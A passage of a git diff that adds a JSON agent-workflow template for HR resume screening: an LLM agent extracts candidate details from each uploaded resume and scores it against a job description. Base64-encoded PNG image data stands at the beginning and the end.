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"
+}
+
diff --git a/agent/templates/cv_analysis_and_candidate_evaluation.json b/agent/templates/cv_analysis_and_candidate_evaluation.json
new file mode 100644
index 0000000..ad5d5ad
--- /dev/null
+++ b/agent/templates/cv_analysis_and_candidate_evaluation.json
@@ -0,0 +1,427 @@
+
+{
+ "id": 15,
+ "title": {
+ "en": "CV Analysis and Candidate Evaluation",
+ "zh": "简历分析和候选人评估"},
+ "description": {
+ "en": "This is a workflow that helps companies evaluate resumes, HR uploads a job description first, then submits multiple resumes via the chat window for evaluation.",
+ "zh": "帮助公司评估简历的工作流。HR首先上传职位描述,通过聊天窗口提交多份简历进行评估。"},
+ "canvas_type": "Other",
+ "dsl": {
+ "components": {
+ "Agent:AfraidBearsShare": {
+ "downstream": [
+ "Message:TenLizardsShake"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 1,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "HR is asking about: {sys.query}\n\nJob description is {begin@JD}\n\nResume is {IterationItem:EagerGiftsOpen@item}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# HR Resume Batch Processing Agent \n\n## Mission Statement\n\nYou are a professional HR resume processing agent designed to handle large-scale resume screening . Your primary goal is to extract standardized candidate information and provide efficient JD matching analysis in a clear, hierarchical text format.And always use Chinese to answer questions, and always separate each resume information with paragraphs.\n\n## Core Capabilities\n\n### 1. Standardized Information Extraction\n\n- Extract 6 key data points from each resume\n\n\n- Normalize all information to consistent format\n\n- Ensure data quality and completeness\n\n- Provide confidence levels for extracted information\n\n### 3. JD Matching Analysis\n\n1. Score: [X/10] \n\n2. Matching Analysis: \n\n- Clearly state the main points of alignment between resume and job description. \n\n- Mention any strong matches in experience, skills, or education. \n\n- Indicate if there are any gaps or mismatches. \n\n\n\n- Content length must always be between 30-50 characters\n\n### Output Specifications\n\n\n\n\n**Important requirement**: No subheadings\n\n\n\n- Full name without titles\n\n- Primary phone/email in standard format\n\n- Most recent educational institution\n\n- Numeric value (years of experience or graduation year)\n\n- Current residence city only\n\n- JD Matching Analysis\n\n\n## Processing Workflow\n\n### Step 1: File Analysis\n\n### Step 2: Information Extraction\n\n### Step 3: JD Matching Analysis\n\n### Step 4: Text Formatting\n\n### Step 5: Output complete context\uff08Strictly keep one line per message and do not merge. The content of the second resume and the previous resume are not allowed to be on the same line\uff09",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "parent_id": "Iteration:PetiteBanksWarn",
+ "upstream": [
+ "IterationItem:EagerGiftsOpen"
+ ]
+ },
+ "Iteration:PetiteBanksWarn": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Iteration",
+ "params": {
+ "items_ref": "sys.files",
+ "outputs": {
+ "evaluation": {
+ "ref": "Agent:AfraidBearsShare@content",
+ "type": "Array"
+ }
+ }
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "IterationItem:EagerGiftsOpen": {
+ "downstream": [
+ "Agent:AfraidBearsShare"
+ ],
+ "obj": {
+ "component_name": "IterationItem",
+ "params": {
+ "outputs": {
+ "index": {
+ "type": "integer"
+ },
+ "item": {
+ "type": "unkown"
+ }
+ }
+ }
+ },
+ "parent_id": "Iteration:PetiteBanksWarn",
+ "upstream": []
+ },
+ "Message:TenLizardsShake": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "\n\n\n\n{Agent:AfraidBearsShare@content}"
+ ]
+ }
+ },
+ "parent_id": "Iteration:PetiteBanksWarn",
+ "upstream": [
+ "Agent:AfraidBearsShare"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Iteration:PetiteBanksWarn"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {
+ "JD": {
+ "name": "Job Description",
+ "optional": false,
+ "options": [],
+ "type": "line"
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi there! I help you assess how well candidates match your job description. Just upload the JD and candidate resumes to begin."
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Iteration:PetiteBanksWarnend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Iteration:PetiteBanksWarn",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__IterationItem:EagerGiftsOpenstart-Agent:AfraidBearsShareend",
+ "source": "IterationItem:EagerGiftsOpen",
+ "sourceHandle": "start",
+ "target": "Agent:AfraidBearsShare",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:AfraidBearsSharestart-Message:TenLizardsShakeend",
+ "source": "Agent:AfraidBearsShare",
+ "sourceHandle": "start",
+ "target": "Message:TenLizardsShake",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {
+ "JD": {
+ "name": "Job Description",
+ "optional": false,
+ "options": [],
+ "type": "line"
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi there! I help you assess how well candidates match your job description. Just upload the JD and candidate resumes to begin."
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 76,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "items_ref": "sys.files",
+ "outputs": {
+ "evaluation": {
+ "ref": "Agent:AfraidBearsShare@content",
+ "type": "Array"
+ }
+ }
+ },
+ "label": "Iteration",
+ "name": "Iteration"
+ },
+ "dragging": false,
+ "height": 300,
+ "id": "Iteration:PetiteBanksWarn",
+ "measured": {
+ "height": 300,
+ "width": 762
+ },
+ "position": {
+ "x": 664.2911321008794,
+ "y": 300.8643508010756
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "group",
+ "width": 762
+ },
+ {
+ "data": {
+ "form": {
+ "outputs": {
+ "index": {
+ "type": "integer"
+ },
+ "item": {
+ "type": "unkown"
+ }
+ }
+ },
+ "label": "IterationItem",
+ "name": "IterationItem"
+ },
+ "dragging": false,
+ "extent": "parent",
+ "id": "IterationItem:EagerGiftsOpen",
+ "measured": {
+ "height": 40,
+ "width": 80
+ },
+ "parentId": "Iteration:PetiteBanksWarn",
+ "position": {
+ "x": 61.93019203023471,
+ "y": 108.67650329471616
+ },
+ "selected": false,
+ "type": "iterationStartNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 1,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "prompts": [
+ {
+ "content": "HR is asking about: {sys.query}\n\nJob description is {begin@JD}\n\nResume is {IterationItem:EagerGiftsOpen@item}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# HR Resume Batch Processing Agent \n\n## Mission Statement\n\nYou are a professional HR resume processing agent designed to handle large-scale resume screening . Your primary goal is to extract standardized candidate information and provide efficient JD matching analysis in a clear, hierarchical text format.And always use Chinese to answer questions, and always separate each resume information with paragraphs.\n\n## Core Capabilities\n\n### 1. Standardized Information Extraction\n\n- Extract 6 key data points from each resume\n\n\n- Normalize all information to consistent format\n\n- Ensure data quality and completeness\n\n- Provide confidence levels for extracted information\n\n### 3. JD Matching Analysis\n\n1. Score: [X/10] \n\n2. Matching Analysis: \n\n- Clearly state the main points of alignment between resume and job description. \n\n- Mention any strong matches in experience, skills, or education. \n\n- Indicate if there are any gaps or mismatches. \n\n\n\n- Content length must always be between 30-50 characters\n\n### Output Specifications\n\n\n\n\n**Important requirement**: No subheadings\n\n\n\n- Full name without titles\n\n- Primary phone/email in standard format\n\n- Most recent educational institution\n\n- Numeric value (years of experience or graduation year)\n\n- Current residence city only\n\n- JD Matching Analysis\n\n\n## Processing Workflow\n\n### Step 1: File Analysis\n\n### Step 2: Information Extraction\n\n### Step 3: JD Matching Analysis\n\n### Step 4: Text Formatting\n\n### Step 5: Output complete context\uff08Strictly keep one line per message and do not merge. The content of the second resume and the previous resume are not allowed to be on the same line\uff09",
+ "temperature": "0.1",
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.75,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Evaluation Agent"
+ },
+ "dragging": false,
+ "extent": "parent",
+ "id": "Agent:AfraidBearsShare",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "parentId": "Iteration:PetiteBanksWarn",
+ "position": {
+ "x": 294.68729149618423,
+ "y": 129.28319861966708
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "\n\n\n\n{Agent:AfraidBearsShare@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Evaluation Result"
+ },
+ "dragging": false,
+ "extent": "parent",
+ "id": "Message:TenLizardsShake",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "parentId": "Iteration:PetiteBanksWarn",
+ "position": {
+ "x": 612.0402980856167,
+ "y": 82.64699341056763
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The agent can also save evaluation results to your Google Sheet using MCP.\n\nhttps://github.com/xing5/mcp-google-sheets"
+ },
+ "label": "Note",
+ "name": "Google Sheet MCP"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 130,
+ "id": "Note:SixtyHeadsShout",
+ "measured": {
+ "height": 130,
+ "width": 337
+ },
+ "position": {
+ "x": 619.4967244976884,
+ "y": 619.3395083567394
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 337
+ },
+ {
+ "data": {
+ "form": {
+ "text": "HR uploads a job description first, then submits multiple resumes via the chat window for evaluation."
+ },
+ "label": "Note",
+ "name": "Candidate Evaluation Workflow"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 157,
+ "id": "Note:LuckyDeerSearch",
+ "measured": {
+ "height": 157,
+ "width": 452
+ },
+ "position": {
+ "x": 457.08115218140847,
+ "y": -6.323496705283823
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 452
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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